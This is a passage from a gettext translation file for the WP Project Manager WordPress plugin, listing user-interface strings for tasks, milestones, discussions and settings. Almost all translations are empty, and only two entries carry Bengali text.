+#: views/assets/js/pm.js:9 +#: views/assets/src/components/project-task-lists/lists.vue:24 +msgid "Add Task List" +msgstr "" + +#: views/assets/js/pm.js:9 views/assets/js/pm.js:34 +#: views/assets/src/components/common/list-filter.vue:6 +#: views/assets/src/components/project-task-lists/lists.vue:226 +msgid "Task Filter" +msgstr "" + +#: views/assets/js/pm.js:9 +#: views/assets/src/components/project-task-lists/lists.vue:35 +msgid "Filter" +msgstr "" + +#: views/assets/js/pm.js:9 +msgid "Single List" +msgstr "" + +#: views/assets/js/pm.js:9 +#: views/assets/src/components/project-task-lists/lists.vue:233 +msgid "Task Title" +msgstr "" + +#: views/assets/js/pm.js:9 views/assets/js/pm.js:34 +msgid "Type task list name" +msgstr "" + +#: views/assets/js/pm.js:9 views/assets/js/pm.js:34 +#: views/assets/src/components/common/list-filter.vue:32 +#: views/assets/src/components/project-task-lists/lists.vue:251 +msgid "No task lists found." +msgstr "" + +#: views/assets/js/pm.js:9 views/assets/js/pm.js:34 +#: views/assets/src/components/common/list-filter.vue:38 +#: views/assets/src/components/project-task-lists/lists.vue:257 +msgid "Status" +msgstr "" + +#: views/assets/js/pm.js:9 views/assets/js/pm.js:34 +#: views/assets/src/components/common/list-filter.vue:41 +#: views/assets/src/components/my-tasks/overview.vue:68 +#: views/assets/src/components/my-tasks/search-task.vue:56 +#: views/assets/src/components/project-lists/project-header-menu.vue:17 +#: views/assets/src/components/project-task-lists/lists.vue:260 +#: views/assets/src/components/project-task-lists/single-task.vue:35 +msgid "Completed" +msgstr "" + +#: views/assets/js/pm.js:9 views/assets/js/pm.js:34 +#: views/assets/src/components/common/list-filter.vue:44 +#: views/assets/src/components/project-task-lists/lists.vue:263 +msgid "On-going" +msgstr "" + +#: views/assets/js/pm.js:9 views/assets/js/pm.js:34 +#: views/assets/src/components/common/list-filter.vue:49 +#: views/assets/src/components/project-task-lists/lists.vue:268 +msgid "Assigned to" +msgstr "" + +#: views/assets/js/pm.js:9 +msgid "Done" +msgstr "" + +#: views/assets/js/pm.js:9 +#: views/assets/src/components/project-task-lists/single-list-tasks.vue:5 +msgid "Incomplete Tasks" +msgstr "" + +#: views/assets/js/pm.js:9 +#: views/assets/src/components/project-task-lists/single-list-tasks.vue:12 +#: views/assets/src/components/project-task-lists/single-list-tasks.vue:29 +msgid "No tasks found." +msgstr "" + +#: views/assets/js/pm.js:9 +#: views/assets/src/components/project-task-lists/single-list-tasks.vue:21 +msgid "Completed Tasks" +msgstr "" + +#: views/assets/js/pm.js:9 +#: views/assets/src/components/common/comment-form.vue:21 +#: views/assets/src/components/common/comment-form.vue:203 +#: views/assets/src/components/project-task-lists/list-comment-form.vue:21 +#: views/assets/src/components/project-task-lists/list-comment-form.vue:124 +#: views/assets/src/components/project-task-lists/task-comment-form.vue:21 +#: views/assets/src/components/project-task-lists/task-comment-form.vue:123 +msgid "Attach" +msgstr "" + +#: views/assets/js/pm.js:9 +#: views/assets/src/components/common/comment-form.vue:27 +#: views/assets/src/components/project-task-lists/list-comment-form.vue:27 +#: views/assets/src/components/project-task-lists/task-comment-form.vue:27 +msgid "Notify user" +msgstr "" + +#: views/assets/js/pm.js:9 +msgid "Search User" +msgstr "" + +#: views/assets/js/pm.js:9 views/assets/src/components/common/comments.vue:75 +#: views/assets/src/components/project-task-lists/list-comments.vue:75 +#: views/assets/src/components/project-task-lists/task-comments.vue:75 +msgid "Add a comment" +msgstr "" + +#: views/assets/js/pm.js:9 +#: views/assets/src/components/project-task-lists/single-list.vue:17 +msgid "Back to Task Lists" +msgstr "" + +#: views/assets/js/pm.js:9 views/assets/src/components/common/comments.vue:4 +#: views/assets/src/components/project-task-lists/list-comments.vue:4 +#: views/assets/src/components/project-task-lists/single-list.vue:72 +#: views/assets/src/components/project-task-lists/task-comments.vue:4 +msgid "Discussion" +msgstr "" + +#: views/assets/js/pm.js:9 +#: views/assets/src/components/common/file-uploader.vue:10 +msgid "Delete File" +msgstr "" + +#: views/assets/js/pm.js:9 +#: views/assets/src/components/common/file-uploader.vue:16 +msgid "To attach" +msgstr "" + +#: views/assets/js/pm.js:9 +#: views/assets/src/components/common/file-uploader.vue:20 +msgid "from your computer." +msgstr "" + +#: views/assets/js/pm.js:9 +#: views/assets/src/components/project-discussions/discussions.vue:23 +msgid "" +"Use our built in discussion panel to create an open discussion, a group " +"discussion or a private conversation. Note that the Admin can always " +"moderate these discussions." +msgstr "" + +#: views/assets/js/pm.js:9 +#: views/assets/src/components/project-discussions/discussions.vue:27 +#: views/assets/src/components/project-discussions/discussions.vue:54 +msgid "Add New Discussion" +msgstr "" + +#: views/assets/js/pm.js:9 +#: views/assets/src/components/project-discussions/discussions.vue:32 +#: views/assets/src/components/project-discussions/discussions.vue:59 +msgid "Create a new message" +msgstr "" + +#: views/assets/js/pm.js:9 +#: views/assets/src/components/project-discussions/discussions.vue:38 +msgid "When to use Discussions?" +msgstr "" + +#: views/assets/js/pm.js:9 +#: views/assets/src/components/project-discussions/discussions.vue:41 +msgid "To discuss a work matter privately." +msgstr "" + +#: views/assets/js/pm.js:9 +#: views/assets/src/components/project-discussions/discussions.vue:42 +msgid "To exchange files privately." +msgstr "" + +#: views/assets/js/pm.js:9 +#: views/assets/src/components/project-discussions/discussions.vue:43 +msgid "To discuss in a group." +msgstr "" + +#: views/assets/js/pm.js:9 +#: views/assets/src/components/project-discussions/discussions.vue:44 +msgid "To create an open discussion visible to all." +msgstr "" + +#: views/assets/js/pm.js:9 +#: views/assets/src/components/project-discussions/discussions.vue:68 +msgid "Discussion List" +msgstr "" + +#: views/assets/js/pm.js:9 +#: views/assets/src/components/project-discussions/discussions.vue:84 +#: views/assets/src/components/project-discussions/individual-discussions.vue:33 +msgid "By" +msgstr "" + +#: views/assets/js/pm.js:9 +#: views/assets/src/components/project-discussions/discussions.vue:88 +#: views/assets/src/components/project-discussions/individual-discussions.vue:36 +#: views/assets/src/components/project-discussions/individual-discussions.vue:72 +#: views/assets/src/components/project-task-lists/single-task.vue:49 +msgid "on" +msgstr "" + +#: views/assets/js/pm.js:9 +#: views/assets/src/components/project-milestones/late-milestones.vue:3 +msgid "Late Milestones" +msgstr "" + +#: views/assets/js/pm.js:9 +#: views/assets/src/components/project-milestones/upcoming-milestones.vue:3 +msgid "Upcoming Milestones" +msgstr "" + +#: views/assets/js/pm.js:9 +#: views/assets/src/components/project-milestones/upcoming-milestones.vue:10 +msgid "left -" +msgstr "" + +#: views/assets/js/pm.js:9 +#: views/assets/src/components/project-milestones/completed-milestones.vue:3 +msgid "Completed Milestones" +msgstr "" + +#: views/assets/js/pm.js:9 +#: views/assets/src/components/project-milestones/completed-milestones.vue:43 +msgid "Completed on:" +msgstr "" + +#: views/assets/js/pm.js:9 +#: views/assets/src/components/project-milestones/milestones.vue:23 +msgid "" +"Create a lifecycle of your projects using milestones. Time mark the " +"different stages of your project with multiple milestones and also it will " +"help the assigned people to aim for a date to complete the project according " +"to those steps." +msgstr "" + +#: views/assets/js/pm.js:9 +#: views/assets/src/components/project-milestones/milestones.vue:26 +#: views/assets/src/components/project-milestones/milestones.vue:54 +#: views/assets/src/components/project-milestones/new-milestone-form.vue:46 +msgid "Add Milestone" +msgstr "" + +#: views/assets/js/pm.js:9 +#: views/assets/src/components/project-milestones/milestones.vue:39 +msgid "When to use Milestones?" +msgstr "" + +#: views/assets/js/pm.js:9 +#: views/assets/src/components/project-milestones/milestones.vue:42 +msgid "To set a target date for the project overall." +msgstr "" + +#: views/assets/js/pm.js:9 +#: views/assets/src/components/project-milestones/milestones.vue:43 +msgid "To divide a project into several development-time phases." +msgstr "" + +#: views/assets/js/pm.js:9 +#: views/assets/src/components/project-milestones/milestones.vue:44 +msgid "To coordinate projects and assigned persons timely." +msgstr "" + +#: views/assets/js/pm.js:9 +#: views/assets/src/components/project-lists/project-header-menu.vue:11 +msgid "Active" +msgstr "" + +#: views/assets/js/pm.js:9 +#: views/assets/src/components/project-lists/project-header-menu.vue:23 +msgid "Favourite" +msgstr "" + +#: views/assets/js/pm.js:9 +#: views/assets/src/components/common/list-filter.vue:238 +#: views/assets/src/components/common/list-filter.vue:242 +#: views/assets/src/components/common/list-filter.vue:253 +#: views/assets/src/components/common/list-filter.vue:315 +#: views/assets/src/components/common/list-filter.vue:382 +#: views/assets/src/components/project-lists/project-header-menu.vue:29 +#: views/assets/src/components/project-task-lists/lists.vue:405 +#: views/assets/src/components/project-task-lists/lists.vue:451 +#: views/assets/src/components/project-task-lists/lists.vue:517 +#: views/assets/src/components/project-task-lists/lists.vue:702 +#: views/assets/src/components/project-task-lists/lists.vue:725 +msgid "All" +msgstr "" + +#: views/assets/js/pm.js:9 +#: views/assets/src/components/project-lists/project-view.vue:7 +#: views/assets/src/components/project-lists/project-view.vue:26 +msgid "Grid View" +msgstr "" + +#: views/assets/js/pm.js:9 +#: views/assets/src/components/project-lists/project-view.vue:13 +#: views/assets/src/components/project-lists/project-view.vue:25 +msgid "List View" +msgstr "" + +#: views/assets/js/pm.js:9 +msgid " Tasks" +msgstr "" + +#: views/assets/js/pm.js:9 +msgid " Discussions" +msgstr "" +"\n" +"আলোচনা" + +#: views/assets/js/pm.js:9 +msgid " Task Lists" +msgstr "" + +#: views/assets/js/pm.js:9 +msgid " Files" +msgstr "" + +#: views/assets/js/pm.js:9 +msgid " Milestones" +msgstr "" + +#: views/assets/js/pm.js:9 +msgid " Comments" +msgstr "" + +#: views/assets/js/pm.js:9 +#: views/assets/src/components/project-lists/project-new-project-btn.vue:3 +#: views/emails/html/new-project.php:10 +msgid "New Project" +msgstr "" + +#: views/assets/js/pm.js:9 +msgid "Search By Client..." +msgstr "" + +#: views/assets/js/pm.js:9 +msgid "Search All..." +msgstr "" + +#: views/assets/js/pm.js:9 +#: views/assets/src/components/categories/edit-category-form.vue:5 +msgid "Quick Edit" +msgstr "" + +#: views/assets/js/pm.js:9 +#: views/assets/src/components/categories/categories.vue:27 +#: views/assets/src/components/categories/categories.vue:80 +#: views/assets/src/components/categories/categories.vue:137 +#: views/assets/src/components/categories/edit-category-form.vue:8 +#: views/assets/src/components/settings/task-types.vue:22 +msgid "Name" +msgstr "" + +#: views/assets/js/pm.js:9 +#: views/assets/src/components/categories/categories.vue:33 +#: views/assets/src/components/categories/categories.vue:85 +#: views/assets/src/components/categories/categories.vue:143 +#: views/assets/src/components/categories/edit-category-form.vue:14 +#: views/assets/src/components/project-task-lists/single-task.vue:234 +#: views/assets/src/components/settings/new-task-type-form.vue:15 +#: views/assets/src/components/settings/task-types.vue:23 +msgid "Description" +msgstr "" + +#: views/assets/js/pm.js:9 +#: views/assets/src/components/categories/categories.vue:23 +#: views/assets/src/components/categories/categories.vue:232 +msgid "Add New Category" +msgstr "" + +#: views/assets/js/pm.js:9 +#: views/assets/src/components/categories/categories.vue:54 +msgid "Select bulk action" +msgstr "" + +#: views/assets/js/pm.js:9 +#: views/assets/src/components/categories/categories.vue:56 +#: views/assets/src/components/categories/categories.vue:162 +msgid "Bulk Actions" +msgstr "" + +#: views/assets/js/pm.js:9 +msgid "Apply" +msgstr "" + +#: views/assets/js/pm.js:9 +#: views/assets/src/components/categories/categories.vue:75 +#: views/assets/src/components/common/notify-user.vue:7 +msgid "Select all" +msgstr "" + +#: views/assets/js/pm.js:9 +#: views/assets/src/components/importtools/trello.vue:19 +msgid "Provide your App key & Token" +msgstr "" + +#: views/assets/js/pm.js:9 +msgid "Imports" +msgstr "" + +#: views/assets/js/pm.js:9 views/assets/src/components/my-tasks/router.js:28 +msgid "My tasks" +msgstr "" + +#: views/assets/js/pm.js:9 +#: views/assets/src/components/my-tasks/complete-task.vue:24 +msgid "Completed at" +msgstr "" + +#: views/assets/js/pm.js:9 +#: views/assets/src/components/my-tasks/complete-task.vue:71 +#: views/assets/src/components/my-tasks/current-task.vue:87 +#: views/assets/src/components/my-tasks/outstanding-task.vue:69 +msgid "No task found!" +msgstr "" + +#: views/assets/js/pm.js:9 +#: views/assets/src/components/my-tasks/outstanding-task.vue:24 +msgid "Overdue" +msgstr "" + +#: views/assets/js/pm.js:9 +msgid "Search by Task Title" +msgstr "" + +#: views/assets/js/pm.js:9 +msgid "All Projects" +msgstr "" + +#: views/assets/js/pm.js:9 +#: views/assets/src/components/my-tasks/search-task.vue:20 +#: views/assets/src/components/my-tasks/search-task.vue:35 +msgid "No project found." +msgstr "" + +#: views/assets/js/pm.js:9 +#: views/assets/src/components/my-tasks/search-task.vue:54 +msgid "Current Task" +msgstr "" + +#: views/assets/js/pm.js:9 +#: views/assets/src/components/my-tasks/search-task.vue:55 +msgid "Outstanding Task" +msgstr "" + +#: views/assets/js/pm.js:9 +#: views/assets/src/components/my-tasks/activities.vue:43 +msgid "No activities found!" +msgstr "" + +#: views/assets/js/pm.js:9 +#: views/assets/src/components/my-tasks/activities.vue:45 +msgid "Load More" +msgstr "" + +#: views/assets/js/pm.js:9 +#: views/assets/src/components/my-tasks/directives.js:19 +msgid "activity" +msgstr "" + +#: views/assets/js/pm.js:9 +#: views/assets/src/components/my-tasks/directives.js:30 +msgid "Completed Task" +msgstr "" + +#: views/assets/js/pm.js:9 +#: views/assets/src/components/my-tasks/directives.js:41 +msgid "Assigned Task" +msgstr "" + +#: views/assets/js/pm.js:9 views/assets/src/components/my-tasks/calendar.vue:4 +msgid "My Calendar" +msgstr "" + +#: views/assets/js/pm.js:9 views/assets/src/components/my-tasks/overview.vue:18 +msgid "My Task Overview" +msgstr "" + +#: views/assets/js/pm.js:9 views/assets/src/components/my-tasks/overview.vue:20 +msgid "Activity Filter" +msgstr "" + +#: views/assets/js/pm.js:9 views/assets/src/components/my-tasks/overview.vue:47 +msgid "At a glance" +msgstr "" + +#: views/assets/js/pm.js:9 views/assets/src/components/my-tasks/overview.vue:52 +msgid "Current" +msgstr "" + +#: views/assets/js/pm.js:9 views/assets/src/components/my-tasks/overview.vue:60 +msgid "Outstanding" +msgstr "" + +#: views/assets/js/pm.js:9 views/assets/src/components/common/menu.vue:208 +#: views/assets/src/components/my-tasks/my-task-header.vue:35 +#: views/assets/src/components/my-tasks/overview.vue:77 +msgid "Activities" +msgstr "" + +#: views/assets/js/pm.js:9 +#: views/assets/src/components/my-tasks/my-task-header.vue:8 +msgid "My Tasks" +msgstr "" + +#: views/assets/js/pm.js:9 views/assets/src/components/common/menu.vue:197 +#: views/assets/src/components/my-tasks/my-task-header.vue:28 +msgid "Overview" +msgstr "" + +#: views/assets/js/pm.js:9 views/assets/src/components/my-tasks/new-task.vue:24 +msgid "New Task" +msgstr "" + +#: views/assets/js/pm.js:9 views/assets/js/pm.js:34 +#: views/assets/src/components/common/globally-task-create-form.vue:6 +#: views/assets/src/components/my-tasks/new-task.vue:28 +msgid "Project" +msgstr "" + +#: views/assets/js/pm.js:9 +msgid "Type project name" +msgstr "" + +#: views/assets/js/pm.js:9 views/assets/src/components/my-tasks/new-task.vue:41 +msgid "No project found!" +msgstr "" + +#: views/assets/js/pm.js:9 views/assets/js/pm.js:34 +#: views/assets/src/components/common/globally-task-create-form.vue:18 +#: views/assets/src/components/my-tasks/new-task.vue:44 +msgid "Loading projects" +msgstr "" + +#: views/assets/js/pm.js:9 views/assets/js/pm.js:34 +#: views/assets/src/components/common/globally-task-create-form.vue:30 +#: views/assets/src/components/my-tasks/new-task.vue:56 +msgid "In List" +msgstr "" + +#: views/assets/js/pm.js:9 views/assets/src/components/my-tasks/new-task.vue:70 +msgid "No task lists found!" +msgstr "" + +#: views/assets/js/pm.js:9 views/assets/js/pm.js:34 +#: views/assets/src/components/common/globally-task-create-form.vue:40 +#: views/assets/src/components/my-tasks/new-task.vue:73 +msgid "Loading task lists" +msgstr "" + +#: views/assets/js/pm.js:9 views/assets/src/components/settings/general.vue:7 +#: views/assets/src/components/settings/header.vue:5 +msgid "General Settings" +msgstr "" + +#: views/assets/js/pm.js:9 views/assets/src/components/settings/email.vue:7 +#: views/assets/src/components/settings/header.vue:9 +msgid "E-Mail Settings" +msgstr "" + +#: views/assets/js/pm.js:9 +#: views/assets/src/components/pusher/settings-tab-menu.vue:3 +#: views/assets/src/components/settings/header.vue:12 +msgid "Pusher" +msgstr "" + +#: views/assets/js/pm.js:9 views/assets/src/components/settings/general.vue:12 +msgid "File Upload Limit" +msgstr "" + +#: views/assets/js/pm.js:9 views/assets/src/components/settings/general.vue:16 +msgid "File Size in Megabytes. e.g: 2" +msgstr "" + +#: views/assets/js/pm.js:9 views/assets/src/components/settings/general.vue:21 +msgid "Projects Per Page" +msgstr "" + +#: views/assets/js/pm.js:9 views/assets/src/components/settings/general.vue:25 +msgid "-1 for unlimited" +msgstr "" + +#: views/assets/js/pm.js:9 views/assets/src/components/settings/general.vue:31 +msgid "Task Lists Per Page" +msgstr "" + +#: views/assets/js/pm.js:9 views/assets/src/components/settings/general.vue:39 +msgid "Incomplete Tasks Per Page" +msgstr "" + +#: views/assets/js/pm.js:9 views/assets/src/components/settings/general.vue:47 +msgid "Completed Tasks Per Page" +msgstr "" + +#: views/assets/js/pm.js:9 views/assets/src/components/settings/general.vue:55 +msgid "Project Managing Capability" +msgstr "" + +#: views/assets/js/pm.js:9 views/assets/src/components/settings/general.vue:68 +msgid "Select the user roles who can see and manage all projects." +msgstr "" + +#: views/assets/js/pm.js:9 views/assets/src/components/settings/general.vue:74 +msgid "Project Creation Capability" +msgstr "" + +#: views/assets/js/pm.js:9 views/assets/src/components/settings/general.vue:85 +msgid "Select the user roles who can create projects." +msgstr "" + +#: views/assets/js/pm.js:9 +#: views/assets/src/components/settings/new-task-type-form.vue:6 +msgid "Type Name" +msgstr "" + +#: views/assets/js/pm.js:9 +msgid "Type name..." +msgstr "" + +#: views/assets/js/pm.js:9 +msgid "Description (optional)" +msgstr "" + +#: views/assets/js/pm.js:9 +#: views/assets/src/components/project-task-lists/single-task.vue:267 +msgid "Update" +msgstr "" + +#: views/assets/js/pm.js:9 +msgid "Create type" +msgstr "" + +#: views/assets/js/pm.js:9 +#: views/assets/src/components/settings/task-types.vue:10 +msgid "+ Create New Task Type" +msgstr "" + +#: views/assets/js/pm.js:9 +#: views/assets/src/components/settings/task-types.vue:24 +msgid "Action" +msgstr "" + +#: views/assets/js/pm.js:9 views/assets/src/components/settings/email.vue:12 +msgid "From Email" +msgstr "" + +#: views/assets/js/pm.js:9 views/assets/src/components/settings/email.vue:20 +msgid "Links in the Email" +msgstr "" + +#: views/assets/js/pm.js:9 views/assets/src/components/settings/email.vue:25 +msgid "Link to Backend" +msgstr "" + +#: views/assets/js/pm.js:9 views/assets/src/components/settings/email.vue:28 +msgid "" +"Select where do you want to take the user. Notification emails contain links." +msgstr "" + +#: views/assets/js/pm.js:9 views/assets/src/components/settings/email.vue:35 +msgid "E-Mail Type" +msgstr "" + +#: views/assets/js/pm.js:9 views/assets/src/components/settings/email.vue:39 +msgid "HTML Mail" +msgstr "" + +#: views/assets/js/pm.js:9 views/assets/src/components/settings/email.vue:40 +msgid "Plain Text" +msgstr "" + +#: views/assets/js/pm.js:9 views/assets/src/components/settings/email.vue:46 +msgid "Send email via Bcc" +msgstr "" + +#: views/assets/js/pm.js:9 views/assets/src/components/settings/email.vue:52 +msgid "Enable Bcc" +msgstr "" + +#: views/assets/js/pm.js:9 views/assets/src/components/pusher/settings.vue:7 +#: views/assets/src/components/settings/pusher.vue:7 +msgid "Pusher Settings" +msgstr "" + +#: views/assets/js/pm.js:9 views/assets/src/components/pusher/settings.vue:12 +#: views/assets/src/components/settings/pusher.vue:12 +msgid "App id" +msgstr "" + +#: views/assets/js/pm.js:9 views/assets/src/components/pusher/settings.vue:20 +#: views/assets/src/components/settings/pusher.vue:20 +msgid "App Key" +msgstr "" + +#: views/assets/js/pm.js:9 views/assets/src/components/pusher/settings.vue:28 +#: views/assets/src/components/settings/pusher.vue:28 +msgid "secret" +msgstr "" + +#: views/assets/js/pm.js:9 views/assets/src/components/pusher/settings.vue:37 +#: views/assets/src/components/settings/pusher.vue:37 +msgid "Cluster" +msgstr "" + +#: views/assets/js/pm.js:9 +#: views/assets/src/components/welcome/WelcomeBanner.vue:13 +msgid "Welcome to" +msgstr "" + +#. Plugin Name of the plugin/theme +msgid "WP Project Manager" +msgstr "" + +#: views/assets/js/pm.js:9 +#: views/assets/src/components/welcome/WelcomeBanner.vue:15 +msgid "" +"The best project management tool for WordPress to get things done with your " +"team." +msgstr "" + +#: views/assets/js/pm.js:9 +#: views/assets/src/components/welcome/WelcomeBanner.vue:23 +msgid "Create Your First Project" +msgstr "" + +#: views/assets/js/pm.js:9 +#: views/assets/src/components/welcome/WelcomeBanner.vue:26 +msgid "Read Full Guide" +msgstr "" + +#: views/assets/js/pm.js:9 views/assets/src/components/welcome/Features.vue:5 +msgid "Features you can use..." +msgstr "" + +#: views/assets/js/pm.js:9 views/assets/src/components/welcome/resources.vue:20 +msgid "Resources of Project Manager" +msgstr "" + +#: views/assets/js/pm.js:9 +#: views/assets/src/components/pro-features/ProBanner.vue:14 +msgid "Project Manager Pro" +msgstr "" + +#: views/assets/js/pm.js:9 +#: views/assets/src/components/pro-features/ProBanner.vue:17 +msgid "Premium Features" +msgstr "" + +#: views/assets/js/pm.js:9 +#: views/assets/src/components/pro-features/ProBanner.vue:20 +msgid "Advanced project management tools to ensure your" +msgstr "" + +#: views/assets/js/pm.js:9 +#: views/assets/src/components/pro-features/ProBanner.vue:21 +msgid "efficiency and productivity reach the peak." +msgstr "" + +#: views/assets/js/pm.js:9 +#: views/assets/src/components/pro-features/FeatureWidget.vue:19 +#: views/assets/src/components/pro-features/ProModules.vue:14 +msgid "See More" +msgstr "" + +#: views/assets/js/pm.js:9 +#: views/assets/src/components/pro-features/ProModules.vue:5 +msgid "Available Modules" +msgstr "" + +#: views/assets/js/pm.js:9 +#: views/assets/src/components/pro-features/MoreProFeatures.vue:5 +msgid "More features to unveil while" +msgstr "" + +#: views/assets/js/pm.js:9 +#: views/assets/src/components/pro-features/MoreProFeatures.vue:6 +msgid "Managing Your Project" +msgstr "" + +#: views/assets/js/pm.js:9 +#: views/assets/src/components/pro-features/MoreProFeatures.vue:8 +msgid "Useful & fascinating features for WP Project Manager that can be" +msgstr "" + +#: views/assets/js/pm.js:9 +#: views/assets/src/components/pro-features/MoreProFeatures.vue:8 +msgid "unlocked with the Pro Version." +msgstr "" + +#: views/assets/js/pm.js:9 +#: views/assets/src/components/common/color-picker.vue:9 +msgid "Select Color" +msgstr "" + +#: views/assets/js/pm.js:34 +#: views/assets/src/components/common/list-filter.vue:13 +msgid "Task title" +msgstr "" + +#: views/assets/js/pm.js:34 +#: views/assets/src/components/common/list-filter.vue:19 +#: views/assets/src/components/project-task-lists/new-task-list-form.vue:76 +msgid "Task list name" +msgstr "" + +#: views/assets/js/pm.js:34 +#: views/assets/src/components/common/list-filter.vue:78 +msgid "Clear Filter" +msgstr "" + +#: views/assets/js/pm.js:34 +msgid "Apply Filter" +msgstr "" + +#: views/assets/js/pm.js:34 +#: views/assets/src/components/common/globally-task-create-form.vue:63 +msgid "You have no permission to create task for this project" +msgstr "" + +#: views/assets/src/components/categories/edit-category-form.vue:42 +msgid "Update Category" +msgstr "" + +#: views/assets/src/components/common/button.vue:177 +msgid "Submit" +msgstr "" + +#: views/assets/src/components/common/comment-form.vue:198 +#: views/assets/src/components/project-task-lists/list-comment-form.vue:119 +#: views/assets/src/components/project-task-lists/task-comment-form.vue:118 +msgid "Post Comment" +msgstr "" + +#: views/assets/src/components/common/comment-form.vue:199 +#: views/assets/src/components/project-discussions/comment-form.vue:46 +#: views/assets/src/components/project-task-lists/list-comment-form.vue:120 +#: views/assets/src/components/project-task-lists/task-comment-form.vue:119 +#: views/emails/html/update-comment.php:12 +msgid "Update Comment" +msgstr "" + +#: views/assets/src/components/common/dropdown-menu.vue:12 +msgid "Menu 1" +msgstr "" + +#: views/assets/src/components/common/dropdown-menu.vue:21 +msgid "Menu 2" +msgstr "" + +#: views/assets/src/components/common/file-uploader.vue:59 +msgid "select files" +msgstr "" + +#: views/assets/src/components/common/globally-task-create-form.vue:129 +#: views/assets/src/components/common/project-drop-down.vue:118 +msgid "Select a project" +msgstr "" + +#: views/assets/src/components/common/header.vue:336 +msgid "Project Actions" +msgstr "" + +#: views/assets/src/components/common/list-filter.vue:246 +#: views/assets/src/components/common/list-filter.vue:259 +#: views/assets/src/components/project-task-lists/lists.vue:372 +#: views/assets/src/components/project-task-lists/lists.vue:376 +#: views/assets/src/components/project-task-lists/lists.vue:383 +#: views/assets/src/components/project-task-lists/lists.vue:400 +msgid "Any" +msgstr "" + +#: views/assets/src/components/common/list-filter.vue:263 +#: views/assets/src/components/project-task-lists/lists.vue:387 +msgid "Over Due" +msgstr "" + +#: views/assets/src/components/common/list-filter.vue:267 +#: views/assets/src/components/project-task-lists/lists.vue:391 +msgid "Today" +msgstr "" + +#: views/assets/src/components/common/list-filter.vue:271 +#: views/assets/src/components/project-task-lists/lists.vue:395 +msgid "Less Than 1 week" +msgstr "" + +#: views/assets/src/components/common/loading-animation.vue:21 +msgid "Loading..." +msgstr "" + +#: views/assets/src/components/common/notify-user.vue:4 +msgid "Notify users" +msgstr "" + +#: views/assets/src/components/common/popup-modal.vue:173 +#: views/emails/html/new-message.php:28 views/emails/html/update-message.php:28 +msgid "Title" +msgstr "" + +#: views/assets/src/components/common/task-type-dropdown.vue:119 +msgid "Choose task type" +msgstr "" + +#: views/assets/src/components/common/text-editor.vue:36 +msgid "Write a comment..." +msgstr "একটি মন্তব্য লিখুন" + +#: views/assets/src/components/my-tasks/current-task.vue:285 +#: views/assets/src/components/my-tasks/current-task.vue:289 +#: views/assets/src/components/my-tasks/outstanding-task.vue:249 +msgid "Created at" +msgstr "" + +#: views/assets/src/components/my-tasks/current-task.vue:293 +#: views/assets/src/components/my-tasks/outstanding-task.vue:253 +msgid "Date Between" +msgstr "" + +#: views/assets/src/components/my-tasks/my-task-header.vue:106 +msgid "Select an User" +msgstr "" + +#: views/assets/src/components/my-tasks/overview.vue:228 +#: views/assets/src/components/my-tasks/search-task.vue:233 +msgid "Start at - Due date" +msgstr "" + +#: views/assets/src/components/my-tasks/overview.vue:228 +#: views/assets/src/components/my-tasks/search-task.vue:233 +msgid "Due date" +msgstr "" + +#: views/assets/src/components/my-tasks/search-task.vue:436 +msgid "Start date and due date should be greater than or equal today" +msgstr "" + +#: views/assets/src/components/my-tasks/search-task.vue:441 +msgid "Start date should be greater than or equal today" +msgstr "" + +#: views/assets/src/components/my-tasks/search-task.vue:446 +msgid "Due date should be greater than today" +msgstr "" + +#: views/assets/src/components/my-tasks/search-task.vue:473 +msgid "Start date and due date should be less than today" +msgstr "" + +#: views/assets/src/components/my-tasks/search-task.vue:478 +msgid "Start date should be less than today" +msgstr "" + +#: views/assets/src/components/my-tasks/search-task.vue:483 +msgid "Due date should be less than today" +msgstr "" + +#: views/assets/src/components/pro-features/ProFeatures.vue:22 +msgid "Calendar" +msgstr "" + +#: views/assets/src/components/pro-features/ProFeatures.vue:23 +msgid "Get the Birdseye view of all tasks from an interactive calendar." +msgstr "" + +#: views/assets/src/components/pro-features/ProFeatures.vue:30 +msgid "Report" +msgstr "" + +#: views/assets/src/components/pro-features/ProFeatures.vue:31 +msgid "Generate actionable insights with built-in reporting system." +msgstr "" + +#: views/assets/src/components/pro-features/ProFeatures.vue:38 +msgid "Progress" +msgstr "" + +#: views/assets/src/components/pro-features/ProFeatures.vue:39 +msgid "" +"Stay updated with the live progress of your projects. Plan ahead of deadline." +msgstr "" + +#: views/assets/src/components/pro-features/ProModules.vue:27 +msgid "Recurring Task" +msgstr "" + +#: views/assets/src/components/pro-features/ProModules.vue:28 +msgid "" +"Automate routine tasks with this super handy module. Just set the patterns & " +"parameters and the tasks will repeat itself accordingly." +msgstr "" + +#: views/assets/src/components/pro-features/ProModules.vue:34 +msgid "BuddyPress" +msgstr "" + +#: views/assets/src/components/pro-features/ProModules.vue:35 +msgid "" +"Need to bring team networking in your project manager? You're good to go." +msgstr "" + +#: views/assets/src/components/pro-features/ProModules.vue:41 +msgid "Gantt Chart" +msgstr "" + +#: views/assets/src/components/pro-features/ProModules.vue:42 +msgid "" +"Get a graphical overview of task progress, deadline, sub-tasks, project " +"dependencies - everything in one place." +msgstr "" + +#: views/assets/src/components/pro-features/ProModules.vue:48 +msgid "Kanban Board" +msgstr "" + +#: views/assets/src/components/pro-features/ProModules.vue:49 +msgid "" +"Organize your tasks in Kanban style to keep team-mates updated about task " +"status." +msgstr "" + +#: views/assets/src/components/pro-features/ProModules.vue:55 +msgid "WooCommerce Order" +msgstr "" + +#: views/assets/src/components/pro-features/ProModules.vue:56 +msgid "" +"Integrate task management with your WooCommerce store and automate the " +"workflow." +msgstr "" + +#: views/assets/src/components/pro-features/ProModules.vue:62 +msgid "Sub Task" +msgstr "" + +#: views/assets/src/components/pro-features/ProModules.vue:63 +msgid "" +"Break down your tasks into smaller ones to work more effectively. Keep track " +"of every detail." +msgstr "" + +#: views/assets/src/components/pro-features/ProModules.vue:69 +msgid "Time Tracker" +msgstr "" + +#: views/assets/src/components/pro-features/ProModules.vue:70 +msgid "" +"Track the exact time you spend on specific tasks. With Interval option of " +"course." +msgstr "" + +#: views/assets/src/components/pro-features/ProModules.vue:76 +msgid "Invoice" +msgstr "" + +#: views/assets/src/components/pro-features/ProModules.vue:77 +msgid "Invoice creation, payment collection have never been easier before." +msgstr "" + +#: views/assets/src/components/pro-features/ProModules.vue:83 +msgid "Stripe Gateway" +msgstr "" + +#: views/assets/src/components/pro-features/ProModules.vue:84 +msgid "" +"Enable the hassle-free and popular payment system with the minimum cost " +"possible." +msgstr "" + +#: views/assets/src/components/project-discussions/comment-form.vue:45 +msgid "Add New Comment" +msgstr "" + +#: views/assets/src/components/project-discussions/discussions.vue:16 